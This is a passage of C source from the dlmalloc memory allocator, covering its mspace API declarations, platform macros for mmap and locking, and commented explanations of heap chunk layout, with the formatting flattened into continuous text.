objects must always be allocated at the same time. For example: struct Head { ... } struct Foot { ... } void send_message(char* msg) { int msglen = strlen(msg); size_t sizes[3] = { sizeof(struct Head), msglen, sizeof(struct Foot) }; void* chunks[3]; if (independent_comalloc(3, sizes, chunks) == 0) die(); struct Head* head = (struct Head*)(chunks[0]); char* body = (char*)(chunks[1]); struct Foot* foot = (struct Foot*)(chunks[2]); // ... } In general though, independent_comalloc is worth using only for larger values of n_elements. For small values, you probably won't detect enough difference from series of malloc calls to bother. Overuse of independent_comalloc can increase overall memory usage, since it cannot reuse existing noncontiguous small chunks that might be available for some of the elements. */ void** dlindependent_comalloc(size_t, size_t*, void**); /* pvalloc(size_t n); Equivalent to valloc(minimum-page-that-holds(n)), that is, round up n to nearest pagesize. */ void* dlpvalloc(size_t); /* malloc_trim(size_t pad); If possible, gives memory back to the system (via negative arguments to sbrk) if there is unused memory at the `high' end of the malloc pool or in unused MMAP segments. You can call this after freeing large blocks of memory to potentially reduce the system-level memory requirements of a program. However, it cannot guarantee to reduce memory. Under some allocation patterns, some large free blocks of memory will be locked between two used chunks, so they cannot be given back to the system. The `pad' argument to malloc_trim represents the amount of free trailing space to leave untrimmed. If this argument is zero, only the minimum amount of memory to maintain internal data structures will be left. Non-zero arguments can be supplied to maintain enough trailing space to service future expected allocations without having to re-obtain memory from the system. Malloc_trim returns 1 if it actually released any memory, else 0. */ int dlmalloc_trim(size_t); /* malloc_usable_size(void* p); Returns the number of bytes you can actually use in an allocated chunk, which may be more than you requested (although often not) due to alignment and minimum size constraints. You can use this many bytes without worrying about overwriting other allocated objects. This is not a particularly great programming practice. malloc_usable_size can be more useful in debugging and assertions, for example: p = malloc(n); assert(malloc_usable_size(p) >= 256); */ size_t dlmalloc_usable_size(void*); /* malloc_stats(); Prints on stderr the amount of space obtained from the system (both via sbrk and mmap), the maximum amount (which may be more than current if malloc_trim and/or munmap got called), and the current number of bytes allocated via malloc (or realloc, etc) but not yet freed. Note that this is the number of bytes allocated, not the number requested. It will be larger than the number requested because of alignment and bookkeeping overhead. Because it includes alignment wastage as being in use, this figure may be greater than zero even when no user-level chunks are allocated. The reported current and maximum system memory can be inaccurate if a program makes other calls to system memory allocation functions (normally sbrk) outside of malloc. malloc_stats prints only the most commonly interesting statistics. More information can be obtained by calling mallinfo. */ void dlmalloc_stats(void); #endif /* ONLY_MSPACES */ #if MSPACES /* mspace is an opaque type representing an independent region of space that supports mspace_malloc, etc. */ typedef void* mspace; /* create_mspace creates and returns a new independent space with the given initial capacity, or, if 0, the default granularity size. It returns null if there is no system memory available to create the space. If argument locked is non-zero, the space uses a separate lock to control access. The capacity of the space will grow dynamically as needed to service mspace_malloc requests. You can control the sizes of incremental increases of this space by compiling with a different DEFAULT_GRANULARITY or dynamically setting with mallopt(M_GRANULARITY, value). */ mspace create_mspace(size_t capacity, int locked); /* destroy_mspace destroys the given space, and attempts to return all of its memory back to the system, returning the total number of bytes freed. After destruction, the results of access to all memory used by the space become undefined. */ size_t destroy_mspace(mspace msp); /* create_mspace_with_base uses the memory supplied as the initial base of a new mspace. Part (less than 128*sizeof(size_t) bytes) of this space is used for bookkeeping, so the capacity must be at least this large. (Otherwise 0 is returned.) When this initial space is exhausted, additional memory will be obtained from the system. Destroying this space will deallocate all additionally allocated space (if possible) but not the initial base. */ mspace create_mspace_with_base(void* base, size_t capacity, int locked); /* mspace_malloc behaves as malloc, but operates within the given space. */ void* mspace_malloc(mspace msp, size_t bytes); /* mspace_free behaves as free, but operates within the given space. If compiled with FOOTERS==1, mspace_free is not actually needed. free may be called instead of mspace_free because freed chunks from any space are handled by their originating spaces. */ void mspace_free(mspace msp, void* mem); /* mspace_realloc behaves as realloc, but operates within the given space. If compiled with FOOTERS==1, mspace_realloc is not actually needed. realloc may be called instead of mspace_realloc because realloced chunks from any space are handled by their originating spaces. */ void* mspace_realloc(mspace msp, void* mem, size_t newsize); /* mspace_calloc behaves as calloc, but operates within the given space. */ void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size); /* mspace_memalign behaves as memalign, but operates within the given space. */ void* mspace_memalign(mspace msp, size_t alignment, size_t bytes); /* mspace_independent_calloc behaves as independent_calloc, but operates within the given space. */ void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]); /* mspace_independent_comalloc behaves as independent_comalloc, but operates within the given space. */ void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]); /* mspace_footprint() returns the number of bytes obtained from the system for this space. */ size_t mspace_footprint(mspace msp); /* mspace_max_footprint() returns the peak number of bytes obtained from the system for this space. */ size_t mspace_max_footprint(mspace msp); #if !NO_MALLINFO /* mspace_mallinfo behaves as mallinfo, but reports properties of the given space. */ struct mallinfo mspace_mallinfo(mspace msp); #endif /* NO_MALLINFO */ /* mspace_malloc_stats behaves as malloc_stats, but reports properties of the given space. */ void mspace_malloc_stats(mspace msp); /* mspace_trim behaves as malloc_trim, but operates within the given space. */ int mspace_trim(mspace msp, size_t pad); /* An alias for mallopt. */ int mspace_mallopt(int, int); #endif /* MSPACES */ #ifdef __cplusplus }; /* end of extern "C" */ #endif /* __cplusplus */ /* ======================================================================== To make a fully customizable malloc.h header file, cut everything above this line, put into file malloc.h, edit to suit, and #include it on the next line, as well as in programs that use this malloc. ======================================================================== */ /* #include "malloc.h" */ /*------------------------------ internal #includes ---------------------- */ #ifdef _MSC_VER #pragma warning( disable : 4146 ) /* no "unsigned" warnings */ #endif /* _MSC_VER */ #include /* for printing in malloc_stats */ #ifndef LACKS_ERRNO_H #include /* for MALLOC_FAILURE_ACTION */ #endif /* LACKS_ERRNO_H */ #if FOOTERS #include /* for magic initialization */ #endif /* FOOTERS */ #ifndef LACKS_STDLIB_H #include /* for abort() */ #endif /* LACKS_STDLIB_H */ #ifdef DEBUG #if ABORT_ON_ASSERT_FAILURE #define assert(x) if(!(x)) ABORT #else /* ABORT_ON_ASSERT_FAILURE */ #include #endif /* ABORT_ON_ASSERT_FAILURE */ #else /* DEBUG */ #define assert(x) #endif /* DEBUG */ #ifndef LACKS_STRING_H #include /* for memset etc */ #endif /* LACKS_STRING_H */ #if USE_BUILTIN_FFS #ifndef LACKS_STRINGS_H #include /* for ffs */ #endif /* LACKS_STRINGS_H */ #endif /* USE_BUILTIN_FFS */ #if HAVE_MMAP #ifndef LACKS_SYS_MMAN_H #include /* for mmap */ #endif /* LACKS_SYS_MMAN_H */ #ifndef LACKS_FCNTL_H #include #endif /* LACKS_FCNTL_H */ #endif /* HAVE_MMAP */ #if HAVE_MORECORE #ifndef LACKS_UNISTD_H #include /* for sbrk */ #else /* LACKS_UNISTD_H */ #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) extern void* sbrk(ptrdiff_t); #endif /* FreeBSD etc */ #endif /* LACKS_UNISTD_H */ #endif /* HAVE_MMAP */ #ifndef WIN32 #ifndef malloc_getpagesize # ifdef _SC_PAGESIZE /* some SVR4 systems omit an underscore */ # ifndef _SC_PAGE_SIZE # define _SC_PAGE_SIZE _SC_PAGESIZE # endif # endif # ifdef _SC_PAGE_SIZE # define malloc_getpagesize sysconf(_SC_PAGE_SIZE) # else # if defined(BSD) || defined(DGUX) || defined(HAVE_GETPAGESIZE) extern size_t getpagesize(); # define malloc_getpagesize getpagesize() # else # ifdef WIN32 /* use supplied emulation of getpagesize */ # define malloc_getpagesize getpagesize() # else # ifndef LACKS_SYS_PARAM_H # include # endif # ifdef EXEC_PAGESIZE # define malloc_getpagesize EXEC_PAGESIZE # else # ifdef NBPG # ifndef CLSIZE # define malloc_getpagesize NBPG # else # define malloc_getpagesize (NBPG * CLSIZE) # endif # else # ifdef NBPC # define malloc_getpagesize NBPC # else # ifdef PAGESIZE # define malloc_getpagesize PAGESIZE # else /* just guess */ # define malloc_getpagesize ((size_t)4096U) # endif # endif # endif # endif # endif # endif # endif #endif #endif /* ------------------- size_t and alignment properties -------------------- */ /* The byte and bit size of a size_t */ #define SIZE_T_SIZE (sizeof(size_t)) #define SIZE_T_BITSIZE (sizeof(size_t) << 3) /* Some constants coerced to size_t */ /* Annoying but necessary to avoid errors on some plaftorms */ #define SIZE_T_ZERO ((size_t)0) #define SIZE_T_ONE ((size_t)1) #define SIZE_T_TWO ((size_t)2) #define TWO_SIZE_T_SIZES (SIZE_T_SIZE<<1) #define FOUR_SIZE_T_SIZES (SIZE_T_SIZE<<2) #define SIX_SIZE_T_SIZES (FOUR_SIZE_T_SIZES+TWO_SIZE_T_SIZES) #define HALF_MAX_SIZE_T (MAX_SIZE_T / 2U) /* The bit mask value corresponding to MALLOC_ALIGNMENT */ #define CHUNK_ALIGN_MASK (MALLOC_ALIGNMENT - SIZE_T_ONE) /* True if address a has acceptable alignment */ #define is_aligned(A) (((size_t)((A)) & (CHUNK_ALIGN_MASK)) == 0) /* the number of bytes to offset an address to align it */ #define align_offset(A)\ ((((size_t)(A) & CHUNK_ALIGN_MASK) == 0)? 0 :\ ((MALLOC_ALIGNMENT - ((size_t)(A) & CHUNK_ALIGN_MASK)) & CHUNK_ALIGN_MASK)) /* -------------------------- MMAP preliminaries ------------------------- */ /* If HAVE_MORECORE or HAVE_MMAP are false, we just define calls and checks to fail so compiler optimizer can delete code rather than using so many "#if"s. */ /* MORECORE and MMAP must return MFAIL on failure */ #define MFAIL ((void*)(MAX_SIZE_T)) #define CMFAIL ((char*)(MFAIL)) /* defined for convenience */ #if !HAVE_MMAP #define IS_MMAPPED_BIT (SIZE_T_ZERO) #define USE_MMAP_BIT (SIZE_T_ZERO) #define CALL_MMAP(s) MFAIL #define CALL_MUNMAP(a, s) (-1) #define DIRECT_MMAP(s) MFAIL #else /* HAVE_MMAP */ #define IS_MMAPPED_BIT (SIZE_T_ONE) #define USE_MMAP_BIT (SIZE_T_ONE) #if !defined(WIN32) && !defined (__OS2__) #define CALL_MUNMAP(a, s) munmap((a), (s)) #define MMAP_PROT (PROT_READ|PROT_WRITE) #if !defined(MAP_ANONYMOUS) && defined(MAP_ANON) #define MAP_ANONYMOUS MAP_ANON #endif /* MAP_ANON */ #ifdef MAP_ANONYMOUS #define MMAP_FLAGS (MAP_PRIVATE|MAP_ANONYMOUS) #define CALL_MMAP(s) mmap(0, (s), MMAP_PROT, MMAP_FLAGS, -1, 0) #else /* MAP_ANONYMOUS */ /* Nearly all versions of mmap support MAP_ANONYMOUS, so the following is unlikely to be needed, but is supplied just in case. */ #define MMAP_FLAGS (MAP_PRIVATE) static int dev_zero_fd = -1; /* Cached file descriptor for /dev/zero. */ #define CALL_MMAP(s) ((dev_zero_fd < 0) ? \ (dev_zero_fd = open("/dev/zero", O_RDWR), \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) : \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) #endif /* MAP_ANONYMOUS */ #define DIRECT_MMAP(s) CALL_MMAP(s) #elif defined(__OS2__) /* OS/2 MMAP via DosAllocMem */ static void* os2mmap(size_t size) { void* ptr; if (DosAllocMem(&ptr, size, OBJ_ANY|PAG_COMMIT|PAG_READ|PAG_WRITE) && DosAllocMem(&ptr, size, PAG_COMMIT|PAG_READ|PAG_WRITE)) return MFAIL; return ptr; } #define os2direct_mmap(n) os2mmap(n) /* This function supports releasing coalesed segments */ static int os2munmap(void* ptr, size_t size) { while (size) { ULONG ulSize = size; ULONG ulFlags = 0; if (DosQueryMem(ptr, &ulSize, &ulFlags) != 0) return -1; if ((ulFlags & PAG_BASE) == 0 ||(ulFlags & PAG_COMMIT) == 0 || ulSize > size) return -1; if (DosFreeMem(ptr) != 0) return -1; ptr = ( void * ) ( ( char * ) ptr + ulSize ); size -= ulSize; } return 0; } #define CALL_MMAP(s) os2mmap(s) #define CALL_MUNMAP(a, s) os2munmap((a), (s)) #define DIRECT_MMAP(s) os2direct_mmap(s) #else /* WIN32 */ /* Win32 MMAP via VirtualAlloc */ static void* win32mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* For direct MMAP, use MEM_TOP_DOWN to minimize interference */ static void* win32direct_mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* This function supports releasing coalesed segments */ static int win32munmap(void* ptr, size_t size) { MEMORY_BASIC_INFORMATION minfo; char* cptr = ptr; while (size) { if (VirtualQuery(cptr, &minfo, sizeof(minfo)) == 0) return -1; if (minfo.BaseAddress != cptr || minfo.AllocationBase != cptr || minfo.State != MEM_COMMIT || minfo.RegionSize > size) return -1; if (VirtualFree(cptr, 0, MEM_RELEASE) == 0) return -1; cptr += minfo.RegionSize; size -= minfo.RegionSize; } return 0; } #define CALL_MMAP(s) win32mmap(s) #define CALL_MUNMAP(a, s) win32munmap((a), (s)) #define DIRECT_MMAP(s) win32direct_mmap(s) #endif /* WIN32 */ #endif /* HAVE_MMAP */ #if HAVE_MMAP && HAVE_MREMAP #define CALL_MREMAP(addr, osz, nsz, mv) mremap((addr), (osz), (nsz), (mv)) #else /* HAVE_MMAP && HAVE_MREMAP */ #define CALL_MREMAP(addr, osz, nsz, mv) MFAIL #endif /* HAVE_MMAP && HAVE_MREMAP */ #if HAVE_MORECORE #define CALL_MORECORE(S) MORECORE(S) #else /* HAVE_MORECORE */ #define CALL_MORECORE(S) MFAIL #endif /* HAVE_MORECORE */ /* mstate bit set if continguous morecore disabled or failed */ #define USE_NONCONTIGUOUS_BIT (4U) /* segment bit set in create_mspace_with_base */ #define EXTERN_BIT (8U) /* --------------------------- Lock preliminaries ------------------------ */ #if USE_LOCKS /* When locks are defined, there are up to two global locks: * If HAVE_MORECORE, morecore_mutex protects sequences of calls to MORECORE. In many cases sys_alloc requires two calls, that should not be interleaved with calls by other threads. This does not protect against direct calls to MORECORE by other threads not using this lock, so there is still code to cope the best we can on interference. * magic_init_mutex ensures that mparams.magic and other unique mparams values are initialized only once. */ #if !defined(WIN32) && !defined(__OS2__) /* By default use posix locks */ #include #define MLOCK_T pthread_mutex_t #define INITIAL_LOCK(l) pthread_mutex_init(l, NULL) #define ACQUIRE_LOCK(l) pthread_mutex_lock(l) #define RELEASE_LOCK(l) pthread_mutex_unlock(l) #if HAVE_MORECORE static MLOCK_T morecore_mutex = PTHREAD_MUTEX_INITIALIZER; #endif /* HAVE_MORECORE */ static MLOCK_T magic_init_mutex = PTHREAD_MUTEX_INITIALIZER; #elif defined(__OS2__) #define MLOCK_T HMTX #define INITIAL_LOCK(l) DosCreateMutexSem(0, l, 0, FALSE) #define ACQUIRE_LOCK(l) DosRequestMutexSem(*l, SEM_INDEFINITE_WAIT) #define RELEASE_LOCK(l) DosReleaseMutexSem(*l) #if HAVE_MORECORE static MLOCK_T morecore_mutex; #endif /* HAVE_MORECORE */ static MLOCK_T magic_init_mutex; #else /* WIN32 */ /* Because lock-protected regions have bounded times, and there are no recursive lock calls, we can use simple spinlocks. */ #define MLOCK_T long static int win32_acquire_lock (MLOCK_T *sl) { for (;;) { #ifdef InterlockedCompareExchangePointer if (!InterlockedCompareExchange(sl, 1, 0)) return 0; #else /* Use older void* version */ if (!InterlockedCompareExchange((void**)sl, (void*)1, (void*)0)) return 0; #endif /* InterlockedCompareExchangePointer */ Sleep (0); } } static void win32_release_lock (MLOCK_T *sl) { InterlockedExchange (sl, 0); } #define INITIAL_LOCK(l) *(l)=0 #define ACQUIRE_LOCK(l) win32_acquire_lock(l) #define RELEASE_LOCK(l) win32_release_lock(l) #if HAVE_MORECORE static MLOCK_T morecore_mutex; #endif /* HAVE_MORECORE */ static MLOCK_T magic_init_mutex; #endif /* WIN32 */ #define USE_LOCK_BIT (2U) #else /* USE_LOCKS */ #define USE_LOCK_BIT (0U) #define INITIAL_LOCK(l) #endif /* USE_LOCKS */ #if USE_LOCKS && HAVE_MORECORE #define ACQUIRE_MORECORE_LOCK() ACQUIRE_LOCK(&morecore_mutex); #define RELEASE_MORECORE_LOCK() RELEASE_LOCK(&morecore_mutex); #else /* USE_LOCKS && HAVE_MORECORE */ #define ACQUIRE_MORECORE_LOCK() #define RELEASE_MORECORE_LOCK() #endif /* USE_LOCKS && HAVE_MORECORE */ #if USE_LOCKS #define ACQUIRE_MAGIC_INIT_LOCK() ACQUIRE_LOCK(&magic_init_mutex); #define RELEASE_MAGIC_INIT_LOCK() RELEASE_LOCK(&magic_init_mutex); #else /* USE_LOCKS */ #define ACQUIRE_MAGIC_INIT_LOCK() #define RELEASE_MAGIC_INIT_LOCK() #endif /* USE_LOCKS */ /* ----------------------- Chunk representations ------------------------ */ /* (The following includes lightly edited explanations by Colin Plumb.) The malloc_chunk declaration below is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. Chunks of memory are maintained using a `boundary tag' method as originally described by Knuth. (See the paper by Paul Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a survey of such techniques.) Sizes of free chunks are stored both in the front of each chunk and at the end. This makes consolidating fragmented chunks into bigger chunks fast. The head fields also hold bits representing whether chunks are free or in use. Here are some pictures to make it clearer. They are "exploded" to show that the state of a chunk can be thought of as extending from the high 31 bits of the head field of its header through the prev_foot and PINUSE_BIT bit of the following chunk header. A chunk that's in use looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk (if P = 1) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 1| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | +- -+ | | +- -+ | : +- size - sizeof(size_t) available payload bytes -+ : | chunk-> +- -+ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |1| | Size of next chunk (may or may not be in use) | +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ And if it's free, it looks like this: chunk-> +- -+ | User payload (must be in use, or we would have merged!) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 0| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Prev pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- size - sizeof(struct chunk) unused bytes -+ : | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| | Size of next chunk (must be in use, or we would have merged)| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- User payload -+ : | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| +-+ Note that since we always merge adjacent free chunks, the chunks adjacent to a free chunk must be in use. Given a pointer to a chunk (which can be derived trivially from the payload pointer) we can, in O(1) time, find out whether the adjacent chunks are free, and if so, unlink them from the lists that they are on and merge them with the current chunk. Chunks always begin on even word boundaries, so the mem portion (which is returned to the user) is also on an even word boundary, and thus at least double-word aligned. The P (PINUSE_BIT) bit, stored in the unused low-order bit of the chunk size (which is always a multiple of two words), is an in-use bit for the *previous* chunk. If that bit is *clear*, then the word before the current chunk size contains the previous chunk size, and can be used to find the front of the previous chunk. The very first chunk allocated always has this bit set, preventing access to non-existent (or non-owned) memory. If pinuse is set for any given chunk, then you CANNOT determine the size of the previous chunk, and might even get a memory addressing fault when trying to do so. The C (CINUSE_BIT) bit, stored in the unused second-lowest bit of the chunk size redundantly records whether the current chunk is inuse. This redundancy enables usage checks within free and realloc, and reduces indirection when freeing and consolidating chunks. Each freshly allocated chunk must have both cinuse and pinuse set. That is, each allocated chunk borders either a previously allocated and still in-use chunk, or the base of its memory arena. This is ensured by making all allocations from the the `lowest' part of any found chunk. Further, no free chunk physically borders another one, so each free chunk is known to be preceded and followed by either inuse chunks or the ends of memory. Note that the `foot' of the current chunk is actually represented as the prev_foot of the NEXT chunk. This makes it easier to deal with alignments etc but can be very confusing when trying to extend or adapt this code. The exceptions to all this are 1. The special chunk `top' is the top-most available chunk (i.e., the one bordering the end of available memory). It is treated specially. Top is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD). In effect, the top chunk is treated as larger (and thus less well fitting) than any other available chunk. The top chunk doesn't update its trailing size field since there is no next contiguous chunk that would have to index off it. However, space is still allocated for it (TOP_FOOT_SIZE) to enable separation or merging when space is extended. 3. Chunks allocated via mmap, which have the lowest-order bit (IS_MMAPPED_BIT) set in their prev_foot fields, and do not set PINUSE_BIT in their head fields. Because they are allocated one-by-one, each must carry its own prev_foot field, which is also used to hold the offset this chunk has within its mmapped region, which is needed to preserve alignment. Each mmapped chunk is trailed by the first two fields of a fake next-chunk for sake of usage checks. */ struct malloc_chunk { size_t prev_foot; /* Size of previous chunk (if free). */ size_t head; /* Size and inuse bits. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; typedef struct malloc_chunk mchunk; typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* sbinptr; /* The type of bins of chunks */ typedef unsigned int bindex_t; /* Described below */ typedef unsigned int binmap_t; /* Described below */ typedef unsigned int flag_t; /* The type of various bit flag sets */ /* ------------------- Chunks sizes and alignments ----------------------- */ #define MCHUNK_SIZE (sizeof(mchunk)) #if FOOTERS #define CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) #else /* FOOTERS */ #define CHUNK_OVERHEAD (SIZE_T_SIZE) #endif /* FOOTERS */ /* MMapped chunks need a second word of overhead ... */ #define MMAP_CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) /* ... and additional padding for fake next-chunk at foot */ #define MMAP_FOOT_PAD (FOUR_SIZE_T_SIZES) /* The smallest size we can malloc is an aligned minimal chunk */ #define MIN_CHUNK_SIZE\ ((MCHUNK_SIZE + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void*)((char*)(p) + TWO_SIZE_T_SIZES)) #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - TWO_SIZE_T_SIZES)) /* chunk associated with aligned address A */ #define align_as_chunk(A) (mchunkptr)((A) + align_offset(chunk2mem(A))) /* Bounds on request (not chunk) sizes. */ #define MAX_REQUEST ((-MIN_CHUNK_SIZE) << 2) #define MIN_REQUEST (MIN_CHUNK_SIZE - CHUNK_OVERHEAD - SIZE_T_ONE) /* pad request bytes into a usable size */ #define pad_request(req) \ (((req) + CHUNK_OVERHEAD + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* pad request, checking for minimum (but not maximum) */ #define request2size(req) \ (((req) < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(req)) /* ------------------ Operations on head and foot fields ----------------- */ /* The head field of a chunk is or'ed with PINUSE_BIT when previous adjacent chunk in use, and or'ed with CINUSE_BIT if this chunk is in use. If the chunk was obtained with mmap, the prev_foot field has IS_MMAPPED_BIT set, otherwise holding the offset of the base of the mmapped region to the base of the chunk. */ #define PINUSE_BIT (SIZE_T_ONE) #define CINUSE_BIT (SIZE_T_TWO) #define INUSE_BITS (PINUSE_BIT|CINUSE_BIT) /* Head value for fenceposts */ #define FENCEPOST_HEAD (INUSE_BITS|SIZE_T_SIZE) /* extraction of fields from head words */ #define cinuse(p) ((p)->head & CINUSE_BIT) #define pinuse(p) ((p)->head & PINUSE_BIT) #define chunksize(p) ((p)->head & ~(INUSE_BITS)) #define clear_pinuse(p) ((p)->head &= ~PINUSE_BIT) #define clear_cinuse(p) ((p)->head &= ~CINUSE_BIT) /* Treat space at ptr +/- offset as a chunk */ #define chunk_plus_offset(p, s) ((mchunkptr)(((char*)(p)) + (s))) #define chunk_minus_offset(p, s) ((mchunkptr)(((char*)(p)) - (s))) /* Ptr to next or previous physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr)( ((char*)(p)) + ((p)->head & ~INUSE_BITS))) #define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_foot) )) /* extract next chunk's pinuse bit */ #define next_pinuse(p) ((next_chunk(p)->head) & PINUSE_BIT) /* Get/set size at footer */ #define get_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot) #define set_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot = (s)) /* Set size, pinuse bit, and foot */ #define set_size_and_pinuse_of_free_chunk(p, s)\ ((p)->head = (s|PINUSE_BIT), set_foot(p, s)) /* Set size, pinuse bit, foot, and clear next pinuse */ #define set_free_with_pinuse(p, s, n)\ (clear_pinuse(n), set_size_and_pinuse_of_free_chunk(p, s)) #define is_mmapped(p)\ (!((p)->head & PINUSE_BIT) && ((p)->prev_foot & IS_MMAPPED_BIT)) /* Get the internal overhead associated with chunk p */ #define overhead_for(p)\ (is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD) /* Return true if malloced space is not necessarily cleared */ #if MMAP_CLEARS #define calloc_must_clear(p) (!is_mmapped(p)) #else /* MMAP_CLEARS */ #define calloc_must_clear(p) (1) #endif /* MMAP_CLEARS */ /* ---------------------- Overlaid data structures ----------------------- */ /* When chunks are not in use, they are treated as nodes of either lists or trees. "Small" chunks are stored in circular doubly-linked lists, and look like this: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Larger chunks are kept in a form of bitwise digital trees (aka tries) keyed on chunksizes. Because malloc_tree_chunks are only for free chunks greater than 256 bytes, their size doesn't impose any constraints on user chunk sizes. Each node looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to left child (child[0]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to right child (child[1]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to parent | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | bin index of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | 